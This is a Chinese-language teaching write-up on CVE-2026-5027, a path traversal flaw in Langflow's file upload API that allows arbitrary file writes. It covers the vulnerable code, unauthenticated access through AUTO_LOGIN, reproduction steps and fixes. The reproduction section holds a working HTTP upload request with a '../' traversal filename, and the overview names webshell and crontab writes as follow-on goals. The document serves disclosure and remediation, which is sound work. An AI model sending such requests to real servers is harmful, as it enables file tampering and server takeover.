CVE-2026-5027 漏洞分析教学:Langflow 路径穿越导致任意文件写入
1. 漏洞概述
1.1 漏洞基本信息
- 漏洞编号:CVE-2026-5027
- 影响组件:Langflow AI 低代码开发平台
- 影响版本:版本号 ≤ 1.8.4
- 漏洞类型:路径穿越漏洞(Path Traversal) + 任意文件写入(Arbitrary File Write)
- 漏洞入口:
POST /api/v2/files文件上传接口 - 危害等级:高危
1.2 漏洞描述
该漏洞源于 POST /api/v2/files 文件上传接口在处理上传文件名时,未对用户可控的 filename 字段进行安全校验。攻击者可以通过构造包含路径穿越序列(如 ../)的文件名,突破应用程序设定的上传目录限制,将文件写入服务器文件系统的任意可写路径。
1.3 利用条件与影响
- 利用前提:通常需要一个低权限用户的登录凭证(
PR:L)。 - 未授权利用:当系统配置中
AUTO_LOGIN开关打开时,攻击者可以通过默认的superuser账号实现未授权利用。 - 网络利用:可通过网络远程利用(
AV:N)。 - 最终危害:攻击者可以实现任意文件写入,具体可导致:
- 覆盖系统关键文件,影响系统稳定性或获取敏感信息。
- 写入 Webshell,获取服务器的远程命令执行权限。
- 写入定时任务(如 crontab),实现持久化控制。
最终目标是实现服务器权限接管与远程代码执行(RCE)。
2. 漏洞技术原理分析
2.1 漏洞根源
这是一个典型的“上传文件名完全可控,且服务端在文件存储逻辑中未对路径进行规范化或越界校验”导致的漏洞。
2.2 漏洞调用链分析
-
漏洞入口 (API 层):
/api/v2/files接口定义在v2/files.py中。核心代码如下(关键问题点已标出):if not file_name: file_name = file.filename # 问题点1:直接使用用户传入的、未经任何安全处理的文件名 await storage_service.save_file( flow_id=str(current_user.id), file_name=file_name, # 问题点2:将未经验证的文件名传递给下层服务 data=file_content, append=append, )- 代码仅检查了文件是否存在、文件大小限制以及处理了重名情况,但没有对
file.filename进行路径安全校验。 - 与 v1 版本接口相比,此处缺失了对
..、/、\等路径穿越字符的拦截逻辑。
- 代码仅检查了文件是否存在、文件大小限制以及处理了重名情况,但没有对
-
文件存储实现 (服务层): 文件存储服务调用
storage_service.save_file(...)。在本地存储实现(local.py)中,核心逻辑如下:folder_path = self.data_dir / flow_id file_path = folder_path / file_name # 问题点3:直接将用户输入的文件名拼接到基础路径 mode = "ab" if append else "wb" async with async_open(str(file_path), mode) as f: await f.write(data)self.data_dir来自配置,通常等于settings_service.settings.config_dir。- 路径穿越发生:当攻击者将
file_name设置为类似../../../../etc/crontab的值时,file_path变量将成为一个包含多个..父目录跳转的完整路径。操作系统在打开文件时会解析这些..符号,最终导致文件的写入位置完全跳出由self.data_dir / flow_id所设定的目标目录,实现任意路径的文件写入。
-
防御缺失对比: 在代码库中存在一个安全校验函数
_get_validated_file_name,但 v2 上传接口没有调用此函数,导致安全防线断裂。def _get_validated_file_name(file_name: str = Path()) -> str: if ".." in file_name or "/" in file_name or "\\" in file_name: # 检查路径穿越字符 raise HTTPException( status_code=400, detail="Invalid file name. Use a simple file name without directory paths or '..'.", ) return file_name
2.3 关于未授权访问
- 当系统配置
AUTO_LOGIN开启时,会为默认的超级用户(superuser)自动创建一个长期有效的 Bearer Token。 - 此 Token 的生成逻辑位于
auth/service.py的create_user_longterm_token()函数中,无需任何凭据即可获取,为未授权攻击提供了可能。
3. 漏洞复现与验证
3.1 环境搭建
# 1. 创建虚拟环境
uv venv
source .venv/bin/activate
# 2. 安装存在漏洞的版本
uv pip install langflow==1.8.1
# 3. 启动 Langflow 服务
langflow run
服务默认运行在 http://127.0.0.1:7860。
3.2 获取认证 Token (未授权场景)
如果目标系统开启了 AUTO_LOGIN,可以直接请求 /api/v1/auto_login 接口获取默认超级用户的长期 Token。这是未授权攻击的第一步。
3.3 构造恶意请求实现任意文件写入
攻击者向 /api/v2/files 接口发送一个恶意的 POST 请求。
HTTP 请求示例:
POST /api/v2/files HTTP/1.1
Host: 127.0.0.1:7860
Authorization: Bearer your_superuser_token_here
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTest123
Connection: close
------WebKitFormBoundaryTest123
Content-Disposition: form-data; name="flow_id"
test_flow
------WebKitFormBoundaryTest123
Content-Disposition: form-data; name="file"; filename="../../../../../../tmp/success.txt"
Content-Type: text/plain
CVE-2026-5027 漏洞测试成功
------WebKitFormBoundaryTest123--
关键恶意构造:
filename参数:设置为../../../../../../tmp/success.txt。这里使用了 6 个../序列(实际数量需根据目标路径深度调整),目的是跳出 Web 应用的上传目录,将文件写入到系统的/tmp/目录下,并命名为success.txt。- 请求体内容:
CVE-2026-5027 漏洞测试成功。这将成为写入目标文件的内容。
攻击结果验证:
如果服务端响应成功(通常是 200 OK),则可以登录服务器检查 /tmp/success.txt 文件是否被成功创建并包含指定内容。若成功,则证明任意文件写入漏洞存在。
4. 漏洞修复方案
修复的核心原则是不信任任何客户端输入,并在多层进行防御。
4.1 修复步骤
-
API 层入口校验 (首要修复点):
- 修改
api/v2/files.py中的文件上传逻辑。 - 在将
file.filename传递给存储服务之前,必须调用_get_validated_file_name()函数或实现类似的校验逻辑,过滤掉文件名中的..、/、\等危险字符。
- 修改
-
存储层安全兜底 (纵深防御):
- 修改
services/storage/local.py中的save_file或相关方法。 - 在拼接最终文件路径
file_path后,应使用os.path.normpath()等函数对路径进行规范化,并随后检查规范化后的路径是否仍位于允许的根目录(self.data_dir)之下。确保写入操作不会逃逸出预定的沙箱。
- 修改
-
同步修复相关代码:
- 根据项目结构,同步修改可能存在相同问题的其他存储实现,如
lfx/services/storage/local.py。
- 根据项目结构,同步修改可能存在相同问题的其他存储实现,如
-
补充安全测试:
- 在完成代码修复后,必须编写和运行针对路径穿越攻击的测试用例,确保修复有效,且不会引入回归问题。
4.2 安全开发建议
- 白名单原则:对用户上传的文件名,尽量采用白名单策略,只允许特定的字符集(如字母、数字、下划线、点)。
- 重命名策略:服务端生成随机、唯一的文件名保存文件,用户原始文件名仅保存在数据库中用于展示,不与实际存储路径关联。
- 最小权限原则:运行 Web 服务器的进程对文件系统应只有必要的、最小化的写入权限,特别是对 Web 根目录之外的系统目录。
5. 总结
CVE-2026-5027 漏洞是一个由于新旧版本代码安全校验不一致、开发人员疏忽导致的经典路径穿越漏洞。它深刻揭示了在文件操作中,对用户输入(尤其是文件路径相关输入)进行严格、一致的校验至关重要。修复此类漏洞的关键在于:在数据流入的入口(API 层)进行严格的过滤,并在核心的数据处理层(存储层)进行防御性编程和边界检查,构建纵深防御体系。